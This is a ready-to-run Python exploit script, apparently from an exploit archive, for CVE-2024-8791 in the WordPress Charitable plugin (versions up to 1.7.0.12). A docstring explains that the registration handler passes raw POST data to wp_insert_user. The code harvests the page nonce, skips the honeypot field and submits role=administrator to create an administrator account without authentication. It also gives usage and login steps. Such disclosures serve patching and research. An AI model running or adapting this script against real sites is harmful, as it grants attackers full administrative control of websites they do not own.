Share
## https://sploitus.com/exploit?id=PACKETSTORM:226420
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Charitable <= 1.7.0.12 - Unauthenticated Privilege Escalation to Administrator
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/charitable/
    # Software Link: https://downloads.wordpress.org/plugin/charitable.1.7.0.12.zip
    # Version: 1.7.0.12 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-8791
    """CVE-2024-8791 โ€” Charitable <= 1.7.0.12 โ€” Unauthenticated Privilege Escalation to Administrator
    
    Blackbox HTTP exploit against a real WordPress + Charitable install with a page containing the
    [charitable_registration] shortcode (the documented way to expose front-end registration).
    
    Root cause: the registration handler `Charitable_Registration_Form::save_registration()` builds
    its data via `get_submitted_values()`, which starts from the RAW `$_POST`
    (abstract-class-charitable-form.php:409 `$submitted = $_POST;`). That array flows into
    `Charitable_User::update_core_user()`, which keeps every key that is in `get_core_keys()`
    (charitable-user-functions.php includes 'role') and passes it to `wp_insert_user()`:
    
        $core_fields = array_intersect( array_keys($submitted), $this->get_core_keys() );  // 'role' kept
        foreach ($core_fields as $field) $values[$field] = $submitted[$field];
        $user_id = wp_insert_user($values);   // role=administrator honored
    
    So POSTing `role=administrator` to the registration form creates an administrator account.
    Gate: a nonce + honeypot, both harvested from the public registration page (so unauth in practice).
    (Fixed in 1.7.0.13, which strips the 'role' field before wp_insert_user.)
    
    Usage:
      python3 CVE-2024-8791_charitable.py --target http://localhost:8090 --reg-path /register/ \
          --user pwnadmin --pass 'Passw0rd!123' --email pwnadmin@evil.com
    """
    import argparse, re, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def field(html, name):
        m = re.search(r'name="' + re.escape(name) + r'"\s+value="([^"]*)"', html)
        return m.group(1) if m else ""
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--reg-path", default="/register/", help="path of the page with [charitable_registration]")
        ap.add_argument("--user", default="pwnadmin")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        ap.add_argument("--email", default="pwnadmin@evil.com")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        url = base + args.reg_path
        print(f"[*] Target: {url}")
        html = s.get(url, timeout=20).text
        nonce   = field(html, "_charitable_user_registration_nonce")
        action  = field(html, "charitable_action") or "save_registration"
        form_id = field(html, "charitable_form_id")
        referer = field(html, "_wp_http_referer") or args.reg_path
        if not nonce:
            print("[-] Could not harvest the registration nonce โ€” is [charitable_registration] on this page?")
            return 1
        # honeypot: the charitable form renders a text input with a random hex NAME (hidden via CSS),
        # which bots fill and must be left EMPTY. Its name != the known field names.
        known = {"charitable_form_id", "_charitable_user_registration_nonce", "_wp_http_referer",
                 "charitable_action", "user_email", "user_login", "user_pass", "register"}
        honeys = [n for n in re.findall(r'name="([0-9a-f]{8,})"', html) if n not in known]
        print(f"[*] Harvested nonce={nonce} action={action} form_id={form_id} honeypot={honeys[:1]}")
    
        data = {
            "_charitable_user_registration_nonce": nonce,
            "_wp_http_referer": referer,
            "charitable_action": action,
            "charitable_form_id": form_id,
            "user_email": args.email,
            "user_login": args.user,
            "user_pass": args.pw,
            "role": "administrator",          # <-- privilege-escalation injection
            "register": "Register",
        }
        for h in honeys[:1]:
            data[h] = ""                      # honeypot must be empty
        print(f"[*] Submitting registration with role=administrator (user={args.user})")
        r = s.post(url, data=data, timeout=20, allow_redirects=False)
        print(f"[*] Response: HTTP {r.status_code}")
        print(f"\n[+] Registration submitted. Verify with:")
        print(f"    wp user get {args.user} --field=roles   # expect: administrator")
        print(f"[+] Then log in at {base}/wp-login.php as {args.user} / {args.pw}")
        return 0
    
    if __name__ == "__main__":
        sys.exit(main())